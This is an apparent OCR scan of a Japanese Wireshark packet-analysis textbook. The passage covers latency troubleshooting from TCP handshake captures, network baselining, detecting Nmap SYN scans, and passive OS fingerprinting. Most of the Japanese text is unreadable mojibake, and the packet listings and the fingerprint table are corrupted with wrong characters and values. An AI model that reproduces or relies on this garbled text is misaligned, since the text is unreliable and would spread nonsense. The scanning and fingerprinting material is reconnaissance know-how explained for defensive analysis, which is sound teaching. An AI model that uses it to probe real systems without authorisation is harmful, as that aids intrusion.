2 0.878530 74.125.95.104 172.16.16.128 TCP 80 > 1606 [SYN, ACK] 5eq=2775577373 Ack=2082691768 Win=5720 Len=0 M55=1406 W5=6
3 0.016604 172.16.16.128 74.125.95.104 TCP 1606 > 80 [ACK] 5eq=2082691768 Ack=2775577374 win=4218 Len=0
4 0.000335 172.16.16.128 74.125.95.104 HTTP GET / HTTP/1.1
51.155228 74.125.95.104 172.16.16.128 TCP 80 > 1606 [ACK] Seq=2775577374 Ack=2082692395 win=109 Len=0
6 0.015866 74.125.95.104 172.16.16.128 TCP [TcP segment of a reassembled PDu]

[9-23 2B E5FBD/INT Y M EEEERLTNS

6Dy bERTHET L, RYOBIEDIEICROEFET, 2547~ b (172.16.16.128)
MTCPNY Ry 2 A 7 % BT 572 DICIRH O SYN /ST v M2 o TH S, =3 (74.125.95.104)
5D SYN/ACK % 2L % F T2, 0.87TH OB A LT T, Zhids 547 v et — I
HHBERBICLoTHIZRIINDAHBLEDRIDOILL TT,

kSN 287 v FOMK L. SHDSAIMOBIETH S L B TE E 5, — "2 SYN ST v M &
ZUHRSTH S, WEEZREL T TICLELZLBIILADTFRITT, L0IDL, FF VY AE—-MEX
D ERSEIZ 005 2 L3RV TT =DM T4 v 7030 % )L nELTH, @HIE
SYN /4w MKk LTSYN/ACK S v M2 X ) RIS E T 5 Z EAMHETT . 2 0¥ — N3
BEDFEKTIEHY THA,

74T VB RBIEDKKTIEHY FHA. ORI TIESYN/ACK S7 v b2 ZE3 2L Lo
AT hbNTW w5 T1,

24T VN —NOWMFICHEREVET DL, WO 2MED/87 v bOEIZ, BIED TR A

S
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HHrEV) ZEIIEYFET,

FlafE HTwE, 32 ANYFY oA 7258 T3 5ACK Sy v MRS ClcAibh, 794
7Y MPOHTTP GETY 7 A SR SNE T, TO2MD/ 87 v & AT 2 MLHx, SYN/ACK
EZUMo72H LT FTAT Y MTH=ANIATDONEDT, 7547 MOAMPFELZVIRY, 2
B3y bR FRHEI TN E T,

5FHD v b b, ERICBELTWE S, IPOHTTP GETY 7 TA MSEE Shizh &, H—
NP BEHENIZACK 7 v bR E T2 L5 > TwE S, HTTP GETY 7 T A b % 52T i
Be, F—NRF— ¥ LEEZMBTAANICETTCP ACKZ %0 3725, JOMHEY 1FE A LHIHIZ
BN FRA, TN EFLRED HOILE T,

WHARIEDSTEE T B & DAY By 24 72 TOSYN/ACK T TR, 1 FDDACK/ S v b T
LBIEDOKBESFAZE T, ZOBRLSEAY VT =2 OFBREOFERITDOINY) TEAD, 27547
YR AP FERTRNZ EIEDAZD0 T, WiHOMOBEEESBEDFKNZE L2 ET, Z
CTITATIF =, V=%, TuF b afliRb2ET, LARRDOITLIENTEET,

9.4.3 EEDEE: 517 FDEIE

WKOBRILED T F ) F1%, 771 Vlatency3.pcap lZ&H FNTWE T (K19-24),

No. Time Source Destination Protocol  Info
1 0.000000 172.16.16.128 74.125.95.104 TCP 1606 > B0 [S¥YN] Seq=2082691767 win=8192 Len=0 MSS=1460 ws=2
2 0.023790 74.125.95.104 172.16.16.128 TCP 80 > 1606 [SYN, ACK] 5eq=2775577373 Ack=2082691768 win=5720 Len=0 MS5=1406 WS=6
3 0.014894 172.16.16.128 74.125.95.104 TCP 1606 > 80 [ACK] 5eq=2082691768 Ack=2775577374 win=4218 Len=0
4 1.345023 172.16.16.128 74.125.95.104 HTTP GET / HTTP/1.1
5 0.046121 74.125.95.104 172.16.16.128 TCP 80 > 1606 [ACK] Seq=2775577374 Ack=2082692395 Win=109 Len=0
6 0.016182 74.125.95.104 172.16.16.128 TCP [1cP _segment of a reassembled ppu]

X9-24 &FDHTTP GET/Yw MIEEL TV

ZOF ¥ T F v EMHELTCP Y Py oA ZTIEFIZHED, ST TIIREDORLIZROSNEEA,
NYRY A 2T Lizbe, AFHO 7 v s THLHTTP GETY 7 TA MR SNL TR, ¥
NRCPEFEDL) T ETANIDOry T, 1B OBESFEL T L

BIED N % ke 5121%, 37FH & 4FFH O/ v bOBTMAHE & 220 % 2SR ) F4
Ao STHEHDO Ny MEZ SA T VI HF =N SN TCPNY Ky =4 7 OfRH%ED ACKIN 7 >
NCVAFHDO NN Yy MEZ 547 ¥ oS — NESLNZGETY 7 T AMCTY, W@ L Tw»
HDIE. EBLSL 7 TAT UMD OREENTZHDT, =N RBEPEBRTHLETT, Mlied s
FSAT VIR EE RS TVWBEDT, ACKP % SNTH LI, GETY 7 T AP TbNERET
T

&S, ACK2 5 GETNOBRIGAHICVEFEATL. GET /N7 v oA & EEICIE
TIVr—a B TORMBLETTOT, TOWBOEREWVWI DX, 754 T DML
BVDOVNTWARWEW) FEIRIZZVET, 2TV ZOBEDOEEEDEKIIZ, 7547 Y MNIHILDT
3o

S
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9.4.4 BIEDEE : Y—/\DBE

WAEDEIED Y F 1) FdH —/SOEIET, 7 7 4 V1atency4.pcap Z v 9 (K 9-25),

No. Time Source Destination Protocol  Info
1 0.000000 172.16.16.128 74.125.95.104 TCP 1606 > 80 [SYN] 5eq=2082691767 Win=8192 Len=0 M55=1460 Ws=2
2 0.018583 74.125.95.104 172.16.16.128 TCP 80 > 1606 [5YN, ACK] 5eq=2775577373 Ack=2082691768 Win=5720 Len=0 M55=1406 W5=6
3 0.016197 172.16.16.128 74.125.95.104 TCP 1606 > 80 [ACK] Seq=2082691768 ack=2775577374 win=4218 Len=0
4 0.000172 172.16.16.128 74.125.95.104 HTTP GET / HTTP/1.1
5 0.047936 74.125.95.104 172.16.16.128 TCP 80 > 1606 [ACK] Seq=2775577374 Ack=2082692395 Win=109 Len=0
6 0.982983 74.125.95.104 172.16.16.128 TCP [TCP segment of a reassembled PDU]

[9-25 &I/ NETEEEDIEN R ZH L

2ODWEIBOTCPNY FY x4 2713 A L= ZXh2B#icfrbi, 9 FL voTwnEd, RUD
GETY 7 A e ZDIREDACK/S T v FORE S FERAThIE Lz 2D 7 7 4V Tldifé s
7y NET, BRIEDOIMEN L Z 2T,

ZO6HFHD Ny M, 794 T Y IHSEDGETY 7 T AMIRAZTH =15 %5 N7 RkAD
HTTP 7 —% /%7 » N TEH, $— 1D GETY 7 T A MK LTk 72 TCP ACK D7 %5 0.98
BENTOET, 5FEPSL6FHDO/ 7 v bADOBRIZ, N FY oA 7 TOACKH S GETY) 7 T A

S5TFHO/ry ME, 794 T Y 520 W72 GETY 7 T A MIX$ 53—/ SO ACK TY . H—
NIFACK N7 v M RE LS T, T REEHBLATNERIEEA. 2037y FORE
F—=F W% 237y MIAV. T, FEIFZHTTP 7a banviZloTirbhvEd, SET7 7 r—3 3
YETHRANGEDOT, BN UHPEHLZFELEE YT T, Lo TI DT v FOIRIE
i, =N EOF = F B BENONW TV ARV L2 EIR L TEY, BRBEQHEIZ—1Zln)
ZEIRET,

9.4.5 EBEZRDIZIL—-LT—S

61D/ Y M flioT Ay M7 — 2 BRBEDRFAEL T Lizo TRHDYFY Had 4 B
Wa7rd LEAD, E9-26 0 EIROBE 7 7V Mikd 2 & EITRI2IFTT, 29 Lk
ARG EARTCPMIFI b Y TREY EF

W N
3 UDPSBREIC DV TIRIFE ACHNTLVE B, UDPRBERTTHMEBIENE S . BIER
w Bt UOET SREERB L TLELDSTT . ZORDD, F—IEEOEBLES

HBDEHITAVNSNDFTUT—3VETO ML (RICMP) B ZDREIZEOT
L\gjo
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200 | 98 RvhO—UDBEEHS

IZA4T Uk SYN >
SYN/ACK

»

ACK o
BIB7OMIIVDVI IR —p

[
[]
n < ACK
El

44— F/E7/OtaVDT—%

B osez
B 7517 e
[3] #— e

X9-26 EREOELE bT TILORERICHIL DX

9.5 RYPMNI=IAN—=-RS5A VDML

B2 B5) FLODBRVEA, RYRT—=IX=ZXFA 2N, 79 b T —7 OBEZFFIT 5720
OEERTF—5L)ET, STTEAYNTI—IR=ZAFA V%, Ay T =27 LOSTFEERME
TRESINTN T T4 2D TVTHY, [IEF G AV NI =T T T4 7 ERHEINLHDT
HHEEHRLE T AV INT—IR—ATA VEMELTZHWIE, Ay T — 7 L@ EREAIELL
BREL T ne ZI2, IR ET5720TT,

EZIERY N T =7 DO D I T4 T VD, d—A VDO Web 7 7V r—=3 3 rih—3
OU T A NERDB D05 L V)W ESoCEELEFLE) TONT T4 752 F Yy TF X LT
AV NI = R=ZA5 4 Y EWRET S E, Web W — NZIEFITRE L TWADIZ, Web 7 7)) r— 3
VNHARFENTAERT > 7 VI X BHHEDNS Y 7 T A MOBREN, IEFRLD 25 BB LAY
bbb LitETA,

Ay RT =2 R=25 4 L% THIMEEDNS = DB W E RO d LNEEAD, &
LOERIZE e hZ ) bVETEAL, 10O DNS 7 1) OIS IEFI L) 0.1 T2V old,
D7 ZIZIEHER LD I L2220 EF L OVORETT A, fy NT—IRXR—=ZAF 4 V3
Lholzb, HHEERMT 20135750 W#ETd,

FUAY NI =2 3HFELBVZD, AV T =T R=ZAF54 v DAVR=F Vb DR DESTE

S
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9.5 Ry RI—IR—254( ORI | 201

9, KOBETIEAY N T —IR—ZAFL DAY E—F Y MllZETE T, TRTHEHLSDE v b
T= 22N TS LHIUL FEAESYTRESAVEALDLTLEI) . WTRIZE X, £
VR=AVIMIR=AGA VD3IODERYTFT)THEFA b, FAL, T =T ary ETRHEA
T5HZEDNHEETT,

9.5.1 Y14 bDAN=AS51Y
PA POR=Z54 YOHMIZ, 2y bT—27 EOWI YA DO NT T 4 v 7 BT B0 72
AFyTvav b aefEbZETT. WANDTRTDES A Y NTEITTLON0HBTT,
COR=ZAFA VIZEEND AV E—F Y MIRD LI IRV ET,

FRALTWS O3
AV NI = DTy Y W= T7ATI4—)V) TET XY NOTRXTOBBEEEIHD
NG 7490 %F Y T F X T HEINI, A= 2—705 [Statistics] — [Protocol Hierarchy] #
F#EHL T [Protocol Hierarchy Statistics] ¥4 7272 &, I XTOBEEELLDONT
T4 7 EZHMLET, OBLIEREINERMOLLADELZ LT, IEHKICHZ 270 aL
FHFEAELTWED, HAVEH LW Tabra vl EInTcuwianr 2l cx i, BE7
ORIV DET T4y 7 BRBICHZ T BWhEI PdbrD T,
JO—KRF¥F¥ AT T
AV MT =X T AV EOFTRTOTU—FFX AT T4y 7P EENTE T A A
DEZTHEYTFXLTHTO—FEX AT T4y 7 5 v 7 F 2 TEEF, EHIFZE
IV EEPRKEDT O = FX Y AT 749 7 2 HEo TR LOPHHERTE, 7u—F
FXAMDOEDVL T E/ND T ELY) LBV T IZhr)E T,
BRE> — T > R
Active Directory, Web 7 7V 77— a v, fi&EAEOV 7 e E HHWEH— ¥ RITH
THLEFEERIGAT VMNP LOFEAMIDONS T4y 7 EENT T, — I
KRR T R=AT A VX o T, FREDMEEILEDFHE &) sl TE 9,
T —AEEL — b
39T =7 EDBHBZYA eSS ESIERHOTA PO KT — F ik ORER LD S
HEENTET, ¥ 7F ¥ OWE & Wireshark D7 5 7 2 FJH L T, 5k L a4y
YavikDBEUDPHERTELI T, BEOLLINPHA IR—AF(4 v OPTHo L b HEE
BHOTLE) . BENEJIREONDIYH, X—AFA VEF LT — ¥ OlRkxFEIT L.
ZORRE LTV, 29 TIUTEFERARYITE DR L) havbhy, oL
TRIEN S TAVHRAEL TP EHELFANNICH RN E T,

%

S
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9.5.2 RAM—=ZAS5ALY
RAIMR=ZAFL Vo Th, TRTORAINDODR—=AFGA, VEMHETTHLEIEIHVEFEA, bT
T4y IBIEFICE N, TEIv v a v s )T A NG —NTORITRAET T, LY —N

DRV EEBEM 2 S5 ) DEED DD o> TL B L) THIUE, FOF—"DXR—2A 5 4 VI3HET L
TB&FLEI,

RAM—=ZATA DAY R=F Y MITOEBYTT,

fFRALTWA 7O
[Protocol Hierarchy Statistics] ¥4 707 &Zflio T, KA IMPLDI T T4 v 7% Fx T
FrLIET, OBLIEEINERSLADELI LT, EWRHICRAL 7O VDAL T
WEP HEVEH LW TR R IVREETN TRV DEERTEET, fFE7abalok
574y ZHFKRIBH Z TORurE) b bhr) 9,

FTARIVL, ES—BDINST1v Y
E— BB L0FT 7= HOBHE N 74y 70F v 7F v TR SN E 3, B ICX
5347 v a VBRI AR L TBITE BESNZ—F—HWOTnLE0n, Zht
SIINICHTED D 5 DO HbH D £7,

e Yy hE>
COR=ZAFTA v &GDHICIE. FATNORE LYYy N v OBRICAELA NI T4y I %
FrTF T HLENDHYF T BESRE LAV, vy by rLiwv, Hi0nITRER
Tx v MY L OBEOEE DS IHRE R A SONR—AF 4 Y ERA L, BEEAR Y F T —
7P L) eI cE F T,

FEES — T R
AAMETHELTCVWEH 55 —CAORGHDONT T4 v 72X TF v T 0%
VBN FE T —RRICFEIEIIEREB D 22D 5, X=X T4 LIZXoT, RIEAEEELED
SR E ) VR cE 9,

BEE K77
CORAMPEDFRAMUKAF LTI (HBWIE, TOFAMIEDKRR MIKAE L
TWDLH) 2HA5E01IC, BRHEMOXFY7FyZ27vEd, A=2—725 [Statistics] —
[Conversations] % ¥R L T [Conversations] ¥4 7 1 7 % B &, BP0 AKAE 1 % ffE 32
LET, TNITED7E 2IE WebH—2323SQL Server = NIZHEFFE L Cw/izh) 552 L
MY FET, RAMHOKAHRIE, FIZERL T30 TIELEVOT, ThH DR
WCRAIR=ZAF L UBRELEDE T, THUTL 5T FA NP IRBERL B AN O 72012812
BEL Tl ) p el TEET,

S
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9.5.3 7IUr—vaINR—=-RA51Y
A IT = R=2AFA VORBEOHTIVE, 7TV r—aryRN—254 0 TF, TNIEH
EARUR R VT =2 RXR=2ADT 7)) r— 3 vV CRALTRETRETT,
TIVr—3arvRNR=—2A54 DAY R—F Y MIUTDOEBYTT,

FALTWA 7Ol
CDNR—AF 4 T, Wireshark ® [Protocol Hierarchy Statistics] ¥4 70 7 Z{fliv %
T, SHET T r—va v EEFLTOUARANIODN G 74y 2 & Fx 7F Y LET,
DBIFLEINERMTLHILT, BUOT ) r =2 a v HFRAET 570 b3, E#EIC
BEREL T B0 b h ) £9,

EE), Yy hFy
CONR=AF5L 2 BBI0F, TTVr—2aryoR#i s yy Ny OBICAELL NS
T4y 2 EFxTFxTHLERSNET. 7TV r—Ta vk LRV, HD0ITRE)
R Xy M Y OBEOREIBIHI BN S SOXR—AF 4 Y ERAEL, RRNx2EE Ik
WEIENTEET,

BEE K17
ZOTTNr—=2a v DPMAELTWERANRT T r—2a v 257012, RFMOF ¥
7F % %47\, [Conversations] ¥4 707 2o CHERLE T, 77U r—3 3 VIHOK
HFRRIE, FICERLTVEHOTRAVWDT, SRHDMERIZZDON=ZA5 4 V%I H
F9, THICEoT, 77V — 2 a U REREHAMOIZDITEYICEEL T v s
I EMERTEET,

T —REXL— b
Fx 7F ¥ OWME L Wireshark ® 7 7 7B 2 FIFI LT, R—A T4 V2K L7ZBOIE
DT T ) r—a v —NADOERERL a2 Y a v L ORGSR TEET, 77
V= aryPRVEVIIBERHIE, TON—AF4 V&M T, BEDE KT 7
r—a VOAMPET ED7200, 2—F—HOAMIER 2 HRTE F9,

9.5.4 "N—=RS5AVICOVTDIEEE
P NI = R AT Y REET BRI, DITHOTELREMEVLCODBIL THEET

o RN—2AF4 VAT 288, RIESHTORMERLEL LI bT T4 v 7 DDkl (5
). 8574y 7DV (). bT 74y 2PN E ALV () Lol B
BT

o WL, N=2AF5 4 VOMRERDLFANC, BEFY7F vy 3T50EMTFELE). +5
T4 I HRLCRERFT L, Fr T F 0 AME MR L), N7 4= Y ARET IR L

S
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T AEREL T Y bW EEFRE, ER LEN—ZF 4 U MEEIRICZ > TLE ) BHEDLD
UESE

e R—=2F A VZUFIAY T —ZIZHTLMENRIEEINTVLOT, ¥V 7410FEELE
Lido P ENTANAPZINT 7 L ATEDRELRLINRAF TSI LT, AT A
MTELL), FRICEWTBETLL ) USBRIA THh BEBALLZ2N—F 1 v avIZAR
THLIRETT,

o N—2F74 VYH#OD . pcap7 7 A NVEF LD, HELEH T —Finkl — 4L, I(BHT2
o [Hh o] E2fEsTBEELE D,

9.6 F&¥H

COFETIE, AV NI =V BEDONT TNV a—T4 Y 7ICHEEE Y TE L7z, TCPOMEE M
L. YA T 57200 T, FBEEORHVHEEZH L. &y N7 — 7 @850 ERBED F K % 3
LHERFHEL, AV NI — I R—-AFTA YORERERLZOI VR —F Y MIOWTHBHLE L7,
CZTHM LT 7 =y 7 k| Wireshark @25 718 X UTRNTHERE (53 CTHI) 2213 Ay b7 —
IABENE V) FEOEEZIFTH, BT A LN TELIETTT,
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| 205

105
EF¥a1VUF 1 &Ny MER

REORPZI Ty VRN ZFIA LAY VT =2 DS TN Y a—F 14 ¥ ZIZEH T E 98,
WEIZEDRVO/r y MR F 2) T4 RI6 & LTirbhTnEd, CRIERIERAZZRC
DIZAY NI =2 8T T4y 2 BRERT AT FI AR, BRASNIZHRANTO VY = 7 &GO
PAZ22X Db 74+ Ly Iy VB EOHFZ 720 LET, X ) F A0 v MENTIZA
ERT—<THY), AP —METLIEETT, Z2TREF 2 FAINERK 72y MEFT O S D
DIZTFERANLET,

COBETREF 2T ABREDNYT, AT =2 LNV TOYATLARAR ST ST RMIE
PHORTHWE, TTRAY NI OMEE, BEEDHLLVN T T4y 7DV FTA LI M, VAT ANORA
BEWXODWTHMLET, KIBATFI AN o T, BABRMY AT 4 (IDS) H0ELEL &
W2y b 740 2 B L E T, AEEZFHOIR, EF2UF 4 2HBLTHARLTH, v by —
X a) T4 OREPIFTELTLE D

10.1 (A%

BOEL D RAAT) DIE B ET 5V AT LAOMEN ZRHETT. COBEE —BIZ[7y T
YoF 42T ] LIFO, B & T 5 REDOWebH A F%° Google TOME R E, AMIhTWwWEEF
EEREMAEFMALCTIrTbNES, AEDPRETT2E, LBEFEIACTHLR—MRETINTNS
P—E2AZ RO 5720, EBHDIPT FLA (F72EF AL V%) OAFY Y 2BBLET,

BELIIAF Y N E T BB BB L TWE0, T2 ATELZHM LT3 SUTmED
ALY AN) = M23FIZHHRKFHPTTOMBLFIH L T2 LEL LI MENSAD LT
I %2 . CCHMAT o TARLEZ A, FUTIZT 74 YA — F555FAF oL TwaE b L E
Hho oWy —2%% 2 %L, BMOEERHFIESTHITIIML Ao T, Slirokdo
LN TVZDIZ, FUTPRFER 5728 L2 EITLE Yo BUDPHEHLTWT, 77 LATESH
ERER T H DD, RN Z 2T IR 620w N—F VD TT,

2F X VLB ) O EDOEEREREIIZ YO LEDOR=IPELZIT LTV E2bhrbsI LT
Fo HUTRIED- L Z IR - T MBI EATIERE O WY K OMDS E o 72 v Tz, S5~

S
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206 | 108 tFIUT &)y BT

LAAIELEHEITLEI . X2 TADEHHEAS ZWVDIFTTRS, RATLHED B
DIFHRVTLI I,

ZOHETIE, FAM BWTWER=b, 2y b7 =27 OIEigtEz 2T 201 fibh s, —#0%
A% ¥ Y PHEIZDOVTWL ORI L ET,

W N

TTETIE REBEBEE. HDVEISATY REY—INEVN SR TIRY
Y3 VOBHICDOVTERUTEE U, AETIRBEESLOBES VS ENE
NOBEVETD,

10.1.1 SYNZRFv2»

VAT A L THRMIIATONEDATCP SYNZXFX v T, SHEAFIVAZAZ v F 2130 —
TH—T 2 AFx v L IHENF T, SINAF Y U 03b o8 b Kb sDIIZFMEAH 9,

o JEHICH EFMEIE W,
o TCPRY v 7 DFEEIIIIPDLT, TRXTDT Ty b7+ — A THEUIHEIET S,
o INDAFY Y FHELIVE A A%,

TCP SYN A F ¥ Y&, WO LEDR— I TW L2 E2 W §T5DI23T ANy Py f 74
BERVET, WBRHFIKR - EWRBELZMLT 5502 LT, HEHFOFR—MITCP SYN /S
Ty MERYET, WEBDPIONT Y MEZITND L R10-10 L) BRI LRI ET,

WEBDOFRAIOT—EAHSYN /ST v b2 F o 7oK — FTRELZIT TS E, TCPHAY Fy e
A7 DFE2BREEL LT, BEHICTCP SYN/ACK/ ST v PR L AR AL LTHENET, §5 QK
HIEZOR=IPHCTOT, H—EAPFLZITLTEIENbr)E T, #FETHIUI, NIF
VA T SELDITHRMEDTCP ACK/Xr v I LN T T, CoOWAERBEH TN L
RANEBRET LR B0, TCPHAY Ry x4 722 T S8 AL

AF X Y LIeR=FTH—EADFEL 2T L TR, WA IESYN/ACK 7 v b & 21T HL
DERA. WEFDOSOREIZL > TE IEF IR FPH L T0D I L2 EKTHRST/87 v b
EINELLTZIIWMYET . H2VIIMORELZVWEHEEIHVET, NE 774 77+ — LRk
AFHFIZE ST, BR=MITANIBDPITENTVWEE VW) BERTT, HLWIIEREDETT, LA
RYZABHRLZZETI D ILNFRHA, —BICEIER=IPFHLTVLE W) 2 ETED, PE R
RTEDHY FE A

7 7 4 JVsynscan.pcap {¥. Nmap V — V& FIH L72SYN 2% ¥ > O 4] T35 Nmap &, Fyodor
BRI LIZBRERAY VT =2 AF X 77V 5 —2a v T EARAF Y Y TCOETTHIENT
& ¥9, Nmap & http://www.nmap.com/download.html 7> & #:k T A FWEHE T,

P TNOF % TF ¥ IEK 2000 D37 v S Ao TWETOT, FEHAEFAATLL) . AF Y
YOHPEERT A REOTEOVE DI, [Conversations] ¥4 707 % 52 ETY (F10-2),

S
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BEE

<

<>

WEE

wEE

SYN

A 4

SYN/ACK

YY)

SYN/ACK

SYN/ACK

SYN

WEE BOER—FHHVTLS

RST

¥ 3

SYN

WEE 80F

\ 4

WEE B0BR—MMITAILEDLH>TVS

R—rHBECTLS

E10-1 TCP SYNZXF v UL ->TRRIZAIREMDH D &

. Conversations: synscan.pcap

o e

| Ethemet: 1] Fibre Channel | Fopi | 1pwa: 1 | 1pve [ 1ex [ wx7a] ee | rsve | scTe) TCP: 1994 | Token Ring | upe] usa ] wian]

Address A
1721608
1721608
1721608
1721608
1721608
1721608
1721608
1721608
1721608
1721608

4 PortA 4 AddressB

36050
36050
36050
36050
36050
36050
36050
36050
36050
36050

64.13134.52
64.13.134.52
64.13134.52
64.13.134.52
64.13.134.52
641313452
64.13.134.52
641313452
641313452
64.13.134.52

TCP Conversations

4 PortB 4 Packets
443
143
3306
199
111
1025
995
587
53
5900

,4_,‘._

| Name resolution

'

Copy

Limit to display filter

4 Bytes

B N

4 PacketsA->B 4 Byt

o
=

B N

&

H10-2 SEEELTCPBIENTTHhhTWVWAZE%RT [Conversations] #4704

C ISR (172.16.0.8) L HEH (63.13.134.52) B O IPvADKFEA 1D L2 dH 0 T AQN,
CD2ODFA M, TCPOMNGEEA19948 5 Z b T,

AF v VIZIFEEWICRATDONE 20, TNENRDSYN ST v FOIREE BOFBDIZ, Fv7F v
T7ANEAZ O = VT HDEHTYRVGHEERIEAE A 37y MOIREEZ TSR,

S
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208 | 108 tFIUT &)y MET

EHIINT Y IBELNTVENL LNV STY, EWRI LIS, 74 NVY EIERT 52 & Tl
BRI TAY I RMERTHIEDNTEET,

10.1.1.1 SYNRF vV TDT 1 LY DIER

TANEDO—PIE LT, WEZD4M3FER—b (HTTPS) IESNIZHH D/ v by SYN ST v b
WY EFET. oy MO 265 % RA720, 43FR— 1 2 IHMAVTEIRTONT 714>
I ERFRT DT ANG BHERLF T BHIAT) HEZROLBYTT,

1L FvTFx 774 NVDENOIT Y M BIRL 5,

2. [Packet Details] XA YO TCP Ny ¥ % ER L E 7,

3. [Destination Port] 74—V %452 v - L. [Prepare as Filter] Z##i L. [Selected] %~
Vo7 LET,

4. INTHUB3FR—IZIHLETEITRTONT Y MO RDETANVEID, T4V T TUTIZ
FIRENF T M3HFR—PERBFILLTE/7 v ML IR LIZVOT, WEO 1EIZH S 7 1
VyyA4TursEsyy s L, [dst] ZHELE T,

CDTANTIZEVBEE D SWEZ~FE LN 2MHDOTCP SYNS7 v MA3goR & E$ (F10-
3).

No. Time Source Destination Protocol  Info

32 0.000065 172.16.0.8 64.13.134.52 TCP 36051 > 443 [sYN] 5eq=3713237785 win=2048 Len=0 mMs55=1460

E10-3 SYN/Nry MCEB2BINDIAXR T Y a3 VL DORIT

ELHD37 y MIHIRBFII VO T, HEZOKRAMPHIIICH LR ETTIAV Y SN
HZVIER=IBH U TR MEESELH Y F90 43FR—MIFTE2AL v V2T Tl cE A,

FAUFEZREPO/ 7y bTORL T, @) MEPHLINE I P2 R TAELLY ETTA4LID
Hio [Clear] K& v %27V L, BIFEMEELZ 74 VT ZHIBLET, RICY A5 9FHDN
o beROET, ZHUEE— 537, BHDNSIZEID B THLRTWAR— bNESN/SYN /STy
FCF, BT EFERIC, TOR=MIAHRI N7 v bOT 1V %4ED, [dst] ##FE LT, TCPR—
F53F A MM T AT RNTONRTy bl LET COTA4 VS 2@ L7z5, 520787 v MSTfERE
T&2IE3CT (K10-4),

Mo. Time Source Destination Protocol  Info
9 0.000052 172.16.0.8 64.13.134.52 TCP 36050 > 53 [SYN] Seq=3713172248 Win=3072 Len=0 MSS=1460

10-4 K—»BHNTWBZEZRTEED/NT v b

WOy ME, Fr 7 FrDOLREDITEH 12D LEIRL72SYN ST » T 2F HIZHEEH
LDIEE T, 372 ANV RV =24 7 O % AT ) BHIBEH E N5 XE TCP SYN/ACK /Y7 v F T,

S
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WHTHIUE, ROy MIRIZSYN 2 %572k A M SDACKTH I FTT, LALIZT
W WBHIEIA Y D a v RV SELRVOT, REERD) THA. TOME. BEHRIZSYN/ACK
Z3MNFEHEL T 53FR— P TOHERZAAD & SYN/ACKIEE N R > TEZDT, TOFR—
FCH—EARHLZIT L TWAEEEZTIVTLLE ),

COE¥EZ BFHO/Nr v I TH ) —EMRVELTAFLE ). SIS FER— b, IRC TO#k
B RGE — E ANl bN 2 dent 70 P A MAZHD B THR TV HHK = % BN SYN/ST v b
TYo SOR-PMIFHLIATDT 4N Z@EHTHE, B10-50 L9 I1242D3 7y MHFOREN
9,

No. Time Source Destination Protocol  Info
13 0.000070 172.16.0.8 64.13.134.52 TCP 36050

in=0 Len=0

77 Win=0 Len=0

WADSYNSr v bDH e, WEZEPSIFT CICRSTHEREINTVET, ZhIZZOR—-Ta
27 avEHFTLTELY, ¥—UARBH L T RnwI 2 ERLTWET,

10.1.1.2 KR—bOREAZREDD

SYNZF ¥ VI T RINEDENTHFEL120, FEIZEDOR— MPHNTW T, ERdH L Tw
B DN % RAHIHIMT T 5 HEEEZTHAEL L) FHEOEZD [Conversations] ¥4 7a71ZHD
T3, ZOFAT7uT TR 2Ny MIUZ X > TTCPHG %Y — b L. [Packets] 75 2% 2127 1) v
755 TRMEARKEVIEIZERE Z A TcEFT (K10-6).

. Conversations: synscan.pcap Eiﬂu
| Ethemet: 1] Fibre Channel | Fopi | 1pwa: 1 | 1pve [ 1ex [ wxra] nee | Rsve ] scTp) TCP: 1994 | Token Ring upe] use] wian]
TCP Conversations

Address A 4 PortA 4 AddressB 4 PortB 4 Packets <~ Bytes 4 Packets A->B ¢ Byt
1721608 36050 641313452 53 5 298 1 B
1721608 36050 641313452 80 (1 B 208 1
1721608 36050 641313452 2 5 298 1
17216038 36050 641313452 13 2 118 1
17216038 36050 641313452 25 2 118 1
1721608 36050 641313452 31337 (2} 18 1
17216038 36061 641313452 13 2 118 1
1721608 36050 641313452 70 2 18 1
1721608 36050 641313452 3 1 58 1
17216038 36050 641313452 143 1 58 1
17216038 36050 641313452 3306 1 58 1
17216038 36050 64.13134.52 199 1 58 1
< [ T | 3

Name resolution Limit to display filter

\ )

X10-6 [Conversations] #41 70% THRWTWSKR— MRS

S
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3ODR—ME, HFHIZE52D7 v bW FRENF L72@. TNEH52037 v MIFA D SYN,
ZIUZIBET 5 SYN/ACK, #EH D L% SN2 SYN/ACKE KL TWADT, 537, 807k, 227
DE=IBFANTVWBEZEDBDLRYET,

ZNLUHNDS5DODR—=PTIL, 220037 v PLPFRINTVWELAO, 1D HIZHHDSYN, £
LC2HFHIERSTTY . 2F D 113%. 257, 313377, 113%. 70FEIM LT E 5,

OO PYIIZ1ID LA ST v MBI L WO T, BEFORZ MBSRNDSYNIZEE L%
Mol il ET, LA > THEIOR=-MIFLTVELEZONT TN, E0TEHY THA.

10.1.2 OST7+1+H—-JUY B

BREFHIIENDOSZH B 72OITMHA L2 TV E T, OSSO UT B 2 BB HHIT 5N
AENHTTe FHRO0SERHFETHIETHELR T 7ANRTALIZ NIBREZIZHE0DBbI5DT,
VATFAIT 7 EALRIL BN TS,

OSTA42 H—TUUMIE, EBIZZDVAF LT 7HATHIERL, VAT A ETEFENT
WLOSERETLDIZHVONLT 7=y 7 DRITS, OST A4 V=TV ¥ ML, v 7L
TITATO2MENRHY E T,

10.1.21 Ny TT40H-=-TUUH

Ny DT T4 H=TVMTIE EPLELNIZ Ty MO ED T4 — VAT 52 L
IZEoT, OSZHIBILET, SOHBED/ Sy v 7 (ZWY) L3N0, BHPREET 557 v b
EFrvrFB20T, HOIr vy bERRBELAVADTT, BRRICEITTED20, JWRFIZES
TIEAEN % HETY .

ZHFVoTh, BONTELT Y F2HNLETT, )R- THEMDOSEHETELDTL X
I Mo EIFTIUIIEFICMH T, RECTEHK SN/ 780 I VOARO BT T HEIC R > TWEH D
T9 o TCP. UDP, [P~y FI2IIVL Db 74 =V ERHY F55, F7+VMESREShTWER
Ao DFEOVTCP/IPAY v 7 % FHTDY4E, £0SIEINOLDOT A=V IFOTFT 74V Mk EHKT 5
VERHYET J10-11E— MR T 1 — Ve, EFEFR0STOF 74V MEERLTWET,

7 7 4 ) passiveosfingerprinting.pcap [2& FN TV 5220037 v PR HWH Y 7LV TT, EH5
B 80FHF AR — MIESHNIZTCP SYN/S7 v FTTA5, #E) KA DL REF[INTVET, 2D/ v b
WEFNLMZERI0-VCBET A2 T, TNENOFA D OSHHFETEDIET T £/57 v b
OFNIEA0-71TR” L FE L7z,




101 155 | M

F£10-1 —ROE/NY T T4 H=T1) MDA

IP

1P

TCP

TCP

TCP

#IWTTL

757

A X

SackOK

TS5 A MR

WRET X

MNA S

T 7 4V IME ‘OS

B
&t

&

e
e

1440

1460
1024-4096
65535
2920-5840
16384
4128
24820
Variable
RIE

S

RS
I
